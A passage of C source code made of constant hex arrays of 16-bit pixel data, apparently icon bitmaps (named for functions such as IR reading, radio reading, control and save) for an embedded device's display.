0x0000,0x0000,0x60F6,0x1825,0x0000,0x0000,0x1845,0x0802,0x50D3,0x0000,0x0000,0x0000,0x60F6,0x711A,0x306B,0x48B1,0x40B0,0x0000,0x0000,0x0000,0x0000,0x1846,0x48B1,0x0000, - 0x0000,0x0000,0x0822,0x60F7,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x58F5,0x40AF,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x68F7,0x0000, - 0x0000,0x0000,0x0000,0x0801,0x50D3,0x50D2,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x388D,0x50D3,0x0000,0x0000,0x0000,0x408E,0x408E,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x58D4,0x60F6,0x40B0,0x306B,0x2068,0x286A,0x388D,0x50D2,0x60F7,0x40B0,0x0000,0x48B0,0x388E,0x286A,0x58F4,0x48B0,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x306B,0x388D,0x308C,0x2869,0x1024,0x0000,0x0000,0x0000,0x0822,0x388D,0x388C,0x1023,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - -const unsigned short raw[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1045,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x895F,0x793B,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x895F,0x895F,0x895F,0x7119,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x2048,0x2048,0x2048,0x2048,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x50D3,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x50D3,0x0000,0x0000,0x0000, -0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000, -0x0000,0x0000,0x40AF,0x895F,0x895F,0x58F5,0x58F5,0x60F7,0x895F,0x895F,0x895F,0x60F6,0x813D,0x7119,0x713B,0x793B,0x60F6,0x895F,0x58F5,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x40AF,0x895F,0x895F,0x0000,0x40AE,0x1846,0x50D2,0x895F,0x711A,0x0000,0x40AF,0x50D2,0x308C,0x388D,0x0000,0x6919,0x1024,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x40AF,0x895F,0x895F,0x0000,0x388C,0x1024,0x58F4,0x895F,0x388D,0x308C,0x0823,0x6919,0x1825,0x1025,0x1845,0x286A,0x308C,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x40AF,0x895F,0x895F,0x0000,0x50D2,0x0823,0x793D,0x895E,0x0802,0x0823,0x0000,0x58F5,0x0802,0x1024,0x48D2,0x0000,0x58D4,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x40AF,0x895F,0x895F,0x0000,0x895F,0x388D,0x306A,0x58F5,0x2048,0x813D,0x50D2,0x2869,0x2869,0x388D,0x711A,0x0000,0x793C,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x286A,0x0000,0x0000, -0x0000,0x0000,0x0000,0x48B1,0x793C,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x793C,0x48B1,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - - - const unsigned short control[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1846,0x0822,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x60F7,0x0001,0x0000,0x0000,0x0000,0x0000,0x0822,0x1846,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x793C,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0802,0x711A,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x50D2,0x793C,0x1025,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0802,0x6918,0x815E,0x2047,0x0000,0x0000,0x0000,0x0802,0x711A,0x711A,0x0802,0x0000,0x0000,0x0000,0x1846,0x813D,0x6918,0x0802,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0802,0x711A,0x711A,0x0802,0x0000,0x0000,0x0000,0x50D3,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0802,0x6918,0x815E,0x2047,0x0000,0x0000,0x0801,0x6918,0x6918,0x0801,0x0000,0x0000,0x1846,0x813D,0x6918,0x0802,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x813D,0x306B,0x0000,0x0000,0x0000,0x1825,0x1825,0x0000,0x0000,0x0000,0x286A,0x813D,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x0001,0x0000,0x0000,0x0001,0x0801,0x0801,0x0001,0x0000,0x0000,0x0000,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x408E,0x58F4,0x6918,0x711A,0x711A,0x6918,0x58F5,0x408E,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0001,0x286A,0x60F6,0x815E,0x895F,0x815E,0x793C,0x713B,0x713B,0x793C,0x815E,0x895F,0x815E,0x60F6,0x286A,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1825,0x58F5,0x895F,0x895F,0x895F,0x895F,0x388D,0x0823,0x0802,0x0802,0x0823,0x388D,0x895F,0x895F,0x895F,0x895F,0x58F5,0x1825,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2869,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x2869,0x0000,0x0000, - 0x0000,0x286A,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x286A,0x0000, - 0x0001,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2069,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0001, - 0x0000,0x306B,0x813D,0x895F,0x895F,0x895F,0x895F,0x713B,0x388E,0x0802,0x0000,0x0000,0x0000,0x0000,0x0802,0x408E,0x793B,0x895F,0x895F,0x895F,0x895F,0x813D,0x306B,0x0000, - 0x0000,0x0000,0x308B,0x813D,0x895F,0x895F,0x60F7,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x68F7,0x895F,0x895F,0x813D,0x308B,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x308B,0x793C,0x58F5,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x58F5,0x793C,0x308B,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1025,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x1025,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - const unsigned short leitorir[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x286A,0x1847,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x793C,0x793C,0x6918,0x388C,0x0001,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1025,0x2048,0x50D2,0x813D,0x58F5,0x0823,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x408E,0x58F5,0x308C,0x0000,0x0000,0x286A,0x50D3,0x308C,0x0823,0x2048,0x793B,0x58F5,0x0001,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x793C,0x60F6,0x813D,0x40AF,0x0000,0x306B,0x60F7,0x793C,0x6919,0x1846,0x2048,0x813D,0x388C,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x895F,0x6918,0x0823,0x388D,0x813D,0x40AF,0x0000,0x0000,0x1845,0x60F7,0x6919,0x0823,0x50D2,0x6918,0x0802, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793C,0x58F5,0x793B,0x58D4,0x0822,0x388D,0x813D,0x40AF,0x0000,0x0000,0x1845,0x793C,0x308C,0x2048,0x793C,0x1847, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x793B,0x50D3,0x0001,0x2048,0x793C,0x58F4,0x0822,0x388D,0x813D,0x40AF,0x0000,0x0000,0x60F7,0x50D3,0x1025,0x793C,0x286A, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x7119,0x60F7,0x0822,0x0000,0x0000,0x2068,0x793C,0x58F4,0x0822,0x388D,0x813D,0x40AF,0x0000,0x306B,0x286A,0x0001,0x40AF,0x1825, - 0x0000,0x0000,0x0000,0x0000,0x0802,0x60F6,0x711A,0x1024,0x0000,0x0000,0x0000,0x0000,0x2048,0x793C,0x58F4,0x0822,0x388D,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0001,0x50D3,0x793C,0x2047,0x0000,0x0802,0x0822,0x0822,0x0822,0x0001,0x2048,0x793C,0x58F4,0x0822,0x388D,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x813D,0x286A,0x0000,0x1023,0x68F7,0x711A,0x711A,0x713B,0x58D4,0x0001,0x2048,0x793C,0x58F4,0x0822,0x388D,0x813D,0x308C,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x308B,0x813D,0x388E,0x0000,0x0822,0x0802,0x50D2,0x895F,0x60F6,0x58F5,0x713B,0x0822,0x0000,0x2068,0x793C,0x58D4,0x0823,0x60F6,0x58F5,0x0000,0x0000,0x0000, - 0x0000,0x2048,0x793C,0x48B1,0x0000,0x0802,0x68F7,0x40B0,0x0802,0x50D2,0x793B,0x60F6,0x711A,0x0822,0x0000,0x0000,0x2048,0x793B,0x6918,0x793C,0x408E,0x0000,0x0000,0x0000, - 0x1024,0x7119,0x58F5,0x0801,0x0000,0x1023,0x793C,0x895F,0x40B0,0x0802,0x50D2,0x895F,0x711A,0x0822,0x0000,0x0000,0x0001,0x58F5,0x895F,0x48B0,0x0001,0x0000,0x0000,0x0000, - 0x286A,0x813D,0x2047,0x0000,0x0000,0x1023,0x793B,0x60F7,0x793C,0x40B0,0x0802,0x50D2,0x68F7,0x0802,0x0000,0x0822,0x50D3,0x793C,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x1025,0x711A,0x58F5,0x0802,0x0000,0x1023,0x793C,0x50D3,0x60F7,0x895F,0x40B0,0x0802,0x1023,0x0000,0x1024,0x60F7,0x793B,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x2048,0x793C,0x58F5,0x0802,0x0802,0x60F7,0x793C,0x793B,0x793C,0x68F7,0x0822,0x0000,0x2047,0x711A,0x7119,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2048,0x793C,0x58F5,0x0802,0x0802,0x1023,0x1023,0x1023,0x0802,0x0000,0x286A,0x793C,0x60F6,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x2048,0x793C,0x58F5,0x0802,0x0000,0x0000,0x0000,0x0000,0x388E,0x813D,0x50D3,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x2048,0x793C,0x58F5,0x0802,0x0000,0x0801,0x48B1,0x813D,0x40AF,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x793C,0x58F5,0x2047,0x58F5,0x793C,0x308B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x711A,0x813D,0x7119,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x286A,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - const unsigned short saver[144] = { - 0x0000,0x0801,0x40AF,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x408E,0x0001,0x0000, - 0x0000,0x1847,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x895F,0x813D,0x813D,0x895F,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2048,0x815E,0x895F,0x793B,0x2048,0x2068,0x793C,0x895F,0x815E,0x1847,0x0000, - 0x0000,0x2047,0x895F,0x793B,0x2048,0x0000,0x0000,0x2048,0x793B,0x815E,0x1846,0x0000, - 0x0000,0x0823,0x50D3,0x2068,0x0000,0x0000,0x0000,0x0000,0x2869,0x50D2,0x0822,0x0000 - }; - - const unsigned short ler_radio[144] = { - 0x68F7,0x60F7,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x68F7,0x60F7, - 0x68F7,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x60F7, - 0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825, - 0x0000,0x0000,0x2047,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x60F6,0x58D4,0x0000,0x0000,0x0001,0x40AF,0x1023,0x0000,0x0000,0x0000, - 0x286A,0x48B0,0x58D4,0x58F5,0x1825,0x286A,0x306A,0x793C,0x308B,0x1024,0x388D,0x286A, - 0x286A,0x388D,0x1024,0x408E,0x50D2,0x793B,0x711A,0x48B1,0x50D3,0x50D3,0x48B1,0x286A, - 0x0000,0x0000,0x0000,0x1846,0x793C,0x50D2,0x58D3,0x0823,0x60F6,0x60F7,0x0001,0x0000, - 0x0000,0x0000,0x0000,0x0001,0x40AF,0x1024,0x0001,0x0000,0x286A,0x306B,0x0000,0x0000, - 0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825, - 0x68F7,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x60F7, - 0x68F7,0x60F7,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x68F7,0x60F7 - }; - - - const unsigned short raw1[144] = { - 0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x711A,0x7119,0x895F,0x895F,0x793B,0x895F,0x793C,0x813D,0x793C,0x793C,0x815E, - 0x815E,0x308C,0x2048,0x6918,0x711A,0x2047,0x711A,0x40AF,0x388D,0x308C,0x388D,0x793D, - 0x815E,0x286A,0x1846,0x711A,0x48B1,0x1023,0x50D2,0x40B0,0x0823,0x0823,0x308C,0x895E, - 0x815E,0x308C,0x2869,0x6918,0x306B,0x306B,0x308B,0x50D2,0x2869,0x306B,0x40B0,0x895F, - 0x895F,0x793B,0x711A,0x793B,0x711A,0x895F,0x711A,0x793C,0x713B,0x793B,0x793C,0x895F, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E, - 0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4 - }; - - const unsigned short add[144] = { - 0x0000,0x0000,0x0000,0x0000,0x1845,0x7119,0x6918,0x1025,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x408E,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x408E,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x388E,0x0000,0x0000,0x0000,0x0000, - 0x1825,0x388E,0x40AF,0x40AE,0x60F7,0x895F,0x895F,0x60F6,0x40AE,0x40AF,0x388D,0x1025, - 0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918, - 0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918, - 0x1825,0x388E,0x40AF,0x40AE,0x60F7,0x895F,0x895F,0x60F6,0x40AE,0x40AF,0x388D,0x1025, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x388E,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x408E,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x408E,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1845,0x7119,0x6918,0x1025,0x0000,0x0000,0x0000,0x0000 - }; - - const unsigned short ana[144] = { - 0x0000,0x0823,0x48D1,0x793C,0x815E,0x711A,0x388D,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0823,0x60F6,0x793B,0x48B1,0x388D,0x58D4,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000, - 0x48B1,0x793B,0x388E,0x1023,0x0802,0x1024,0x40AE,0x813D,0x2047,0x0000,0x0000,0x0000, - 0x793B,0x48B1,0x40AF,0x50D3,0x306B,0x60F7,0x50D2,0x813D,0x40B0,0x0000,0x0000,0x0000, - 0x813D,0x40AF,0x40AF,0x58D4,0x58D4,0x40B0,0x1024,0x60F7,0x50D2,0x0000,0x0000,0x0000, - 0x6919,0x793B,0x40B0,0x1024,0x58D4,0x48B0,0x0823,0x793B,0x388E,0x0000,0x0000,0x0000, - 0x308C,0x813D,0x408E,0x0001,0x1846,0x40AF,0x58D4,0x793C,0x1846,0x0000,0x0000,0x0000, - 0x0000,0x40AF,0x813D,0x7119,0x60F7,0x793B,0x793C,0x793C,0x68F7,0x1847,0x0000,0x0000, - 0x0000,0x0000,0x2047,0x48B0,0x50D3,0x388E,0x1825,0x60F6,0x917F,0x711A,0x1846,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x711A,0x915F,0x7119,0x1846, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x711A,0x895F,0x6918, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x711A,0x388D - }; - - const unsigned short dector[144] = { - 0x0000,0x50D3,0x60F6,0x793C,0x6919,0x7119,0x6918,0x711A,0x793B,0x60F7,0x48B1,0x0000, - 0x0000,0x60F5,0x60F7,0x6918,0x60F5,0x60F6,0x58F5,0x60F6,0x68F7,0x6918,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0801,0x0823,0x2048,0x2047,0x0822,0x0802,0x58F4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x1024,0x308C,0x306B,0x0823,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x48D2,0x0001,0x2869,0x388E,0x388E,0x2069,0x0001,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x48D1,0x1846,0x388E,0x308C,0x308C,0x408E,0x1825,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x1023,0x2047,0x2047,0x0823,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x60F6,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x50D3,0x0000, - 0x0000,0x58D4,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x50D2,0x0000 - }; - - const unsigned short bad[576] = { - 0x0000,0x0000,0x1024,0x286A,0x40B0,0x58D4,0x60F7,0x6918,0x68F7,0x58F5,0x48B1,0x306B,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 